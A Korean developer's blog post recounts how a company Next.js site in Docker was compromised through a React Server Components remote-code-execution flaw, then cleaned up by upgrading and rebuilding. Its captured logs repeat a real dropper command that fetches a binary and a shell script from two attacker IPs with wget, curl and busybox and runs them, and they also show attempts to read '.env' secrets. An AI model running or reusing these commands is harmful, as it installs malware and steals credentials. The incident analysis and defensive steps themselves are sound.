1. 사건 발생
정상 가동중이던 사내 홈페이지가 갑자기 504 GATEWAY 뜬다고 제보가 들어왔다.
도커 로그 확인해보니 이상한 Buffer 뭐시기 로그들이 한가득 찍여있고 결국 컨테이너가 감당을 못해서 뻗어버림발생
2.증상 및 로그 분석
},
status: 0,
signal: null,
output: [
null,
<Buffer >,
<Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
],
pid: 179,
stdout: <Buffer >,
stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
digest: '947727682'
},
status: 0,
signal: null,
output: [
null,
<Buffer >,
<Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
],
pid: 179,
stdout: <Buffer >,
stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
digest: '947727682'
},
status: 0,
signal: null,
output: [
null,
<Buffer >,
<Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
],
pid: 179,
stdout: <Buffer >,
stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
digest: '947727682'
},
status: 0,
signal: null,
output: [
null,
<Buffer >,
<Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
],
pid: 179,
stdout: <Buffer >,
stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
digest: '947727682'
},
status: 0,
signal: null,
output: [Array],
pid: 179,
stdout: <Buffer >,
stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
digest: '947727682'
==============================================
'(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ],
stderr 출력에서 보다시피 악성 외부 연결 흔적을 확인할 수 있었다.
컨테이너를 다시 구동 시켜놓고 실시간으로 모니터링을 하니 패턴이 아래와 같았다.
⨯ [Error: NEXT_REDIRECT] { digest: 'nextjs' }
Connecting to 45.61.157.12 (45.61.157.12:80)
# 이 다음 위에 로그처럼 우다다다다
NEXT_REDIRECT 찍히고나서 2~3분 이내에 Connection to... 가 찍히더니 위에 우다다다 로그 찍힘
난 저쪽으로 Connection 관련 소스를 작성한적이 없는데 이게 뭔 일 ..?
확인해보니 wget, curl, busybox 프로세스가 컨테이너 내부가 아닌 돌아가고있는 서버(로컬)에서 지속 실행되고 있다.
ps aux | grep -E "x86|nuts|45.61|89.144"
1001 2858396 0.0 0.0 1644 64 ? S 02:30 0:00 /bin/sh -c (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-||wget -q http://45.61.157.12/nuts/bolts -O-||curl -s http://45.61.157.12/nuts/bolts)|sh)&
1001 2858497 0.0 0.0 1644 72 ? S 02:32 0:00 /bin/sh -c (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-||wget -q http://45.61.157.12/nuts/bolts -O-||curl -s http://45.61.157.12/nuts/bolts)|sh)&
1001 2858598 0.0 0.0 1692 4 ? S 02:34 0:00 wget -q http://45.61.157.12/nuts/bolts -O-
root 2858710 0.0 0.0 222324 2208 pts/6 S+ 02:36 0:00 grep --color=auto -E x86|nuts|45.61|89.144
물론 이런건 아무리 process kill 해도 다시 되살아난다.
악성 IP 정리 표
| 항목 | 45.61.157.12 | 89.144.31.18 | 비고 |
| 역할 | 1차 페이로드 서버 | 2차/변형 공격 서버 | 서로 다른 배포 노드일 가능성 큼 |
| 관측된 요청 로그 | Connecting to 45.61.157.12:80 | wget http://89.144.31.18/nuts/x86 | 동일 명령 구조 |
| 다운로드 경로 | /nuts/x86, /nuts/bolts | /nuts/x86, /nuts/bolts | 파일명 동일 (봇넷 공통 페이로드) |
| 목적 | 악성 바이너리 실행 및 추가 스크립트 주입 | 파일 실행 후 후속 명령 실행 | 서버 장악 / 마이너 / 백도어 삽입 목적 가능 |
| 사용된 명령어 | busybox wget, curl, sh | busybox wget, curl, sh | 동일 패턴 공격 |
| 위치 추정 | North America (서버팜 / VPN 가능성) | Europe 추정 | 봇넷 분산 CDN 특성 가능성 |
| 특징 | 최초 감염 트리거에 등장 | 감염 후 후속 실행 명령 포함 | 공격 인프라 연결 확인됨 |
| 위험도 | 🔥 매우 높음 | 🔥 매우 높음 | 즉시 차단 필요 |
| 차단 권장 | AWS 보안 그룹 / 방화벽 차단 | 동일 | IP, CIDR 차단 추천 |
중간 중간에 다른 로그도 찍히는걸 보아하니, .env 파일도 탈취하려고 이런저런 시도를 하는듯
cat: can't open '.env*': No such file or directory
⨯ [Error: Command failed: cat .env*
cat: can't open '.env*': No such file or directory
] {
status: 1,
signal: null,
output: [Array],
pid: 196,
stdout: <Buffer >,
stderr: <Buffer 63 61 74 3a 20 63 61 6e 27 74 20 6f 70 65 6e 20 27 2e 65 6e 76 2a 27 3a 20 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 ... 1 more byte>,
digest: '4105317061'
}
3. 원인 분석
Next.js 15.5.0 ~ 15.5.6 버전 React Flight Protocol RCE 취약점
(원격 코드 실행, Remote Code Execution)
https://news.hada.io/topic?id=24874
React와 Next.js에서 원격 코드 실행이 가능한 취약점 CVE-2025-55182( | GeekNews
React 서버 컴포넌트에서 인증 없이 임의 코드를 실행할 수 있는 원격 코드 실행(RCE) 취약점이 발견되어 즉시 업그레이드 필요Next.js도 영향을 받으며, App Router 기능을 사용하는 경우 취약함. Next.js
news.hada.io
4. 해결 과정
Next.js 16 으로 업그레이드 (node v20 이상)
.next 삭제, node_modules 삭제 , package.json 삭제
Docker 이미지 싹다 제거 후 다시 build ( --no-cache)
# 사용하지 않는 Docker 이미지 삭제
docker image prune -a -f
# 아래 폴더, 파일 삭제
rm -rf .next node_modules package-lock.json
# 재설치
npm install
# 검증
npm audit fix --force
# 빌드할때 --no-cache 필수, 안하면 잔재 남아서 계속 똑같음
docker build --no-cache -t myProject/bb:latest .
5. 마무리 회고
간단히 요약 정리해서 별거 아닌것 같지만, redis 컨테이너도 별도로 돌고있어서 처음에 redis 가 뚫렸나 하고 엄청 찾아보고 삽질 계속 했다.
가뜩이나 프로젝트 규모도 적은게 아니라서 build 배포 하는데에만 5분 가량이 걸리는데 지우고 배포하고 지우고 배포하고 무한반복 , 회사 다니면서 제일 힘든 날이었음, 피 말리는 시간이었다.
뭐가 됐든 이 사이트 개발 담당자가 나고, 인프라쪽에 대한 지식이 별로 그리 많지않은데 이리저리 해봐도 다 해결은 안되고, 최후의 보루로 서버까지 새로 파서 옮겼는데 똑같이 저 파바박 올라오는 로그 또 찍히는 순간 진짜 숨이 안쉬어짐;;
어쨋든 해결이 완료되었고, 이런 취약점 정보가 공개되는 즉시 파악할 수 있도록 관련 개발자 보안 커뮤니티(?) 를 주기적으로 눈팅 하기로 다짐하였다.프레임워크 릴리즈 노트 보는것도 하나의 방법일텐데 , 이거까지 주기적으로 보는 사람이 있나 ..?
아래는 삽질 과정에 쳤던 다른 명령어들 ..
sudo grep -R "45\.61" /etc /home /var 2>/dev/null
grep -R "45\.61" /var/lib/docker 2>/dev/null | head -n 30
grep -R "45\.61" /app -n | head -n 50
sudo grep -R "nuts" /etc /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
grep -R "sh" /app -n | head -n 50
ps aux | grep x86
iptables -A INPUT -s 89.144.31.18 -j DROP
Next.js 를 사용했던 이유는 PHP 에만 절여져있던 나를 좀 더 한층 업글하기 위함이었는데 이런 일 당하니 좀 ..
솔직히 별것도 아닌것도 죄다 컴포넌트화시켜서 import 하는것도 좀 맘에들지 않는 방식이다
사용하면서도 늘 이게 과연 깔끔한 방식인가 에 대한 의구심이 들음
역시 PHP 가 최고인것인가 ?! ㅋㅋㅋ
'IT > 잡다구리' 카테고리의 다른 글
| Next.js와 Laravel 크로스 도메인 SSO 구현하기 (1) | 2026.01.26 |
|---|---|
| Postman에서는 400, curl에서는 정상 | 로컬 Docker POST 요청 삽질기 (1) | 2026.01.21 |
| 먼데이 API 활용 보드 데이터 추출, monday.com GraphQL, cursor 정리 (2) | 2025.10.24 |
| [git bash] Window Docker 명령어 관련 메모, 윈도우 도커 (2) | 2024.12.19 |
| [jenkins] 뻗은 젠킨스 정상화 관련 메모(리눅스 jdk 1.8 에서 11, 젠킨스 정상화) (0) | 2024.12.10 |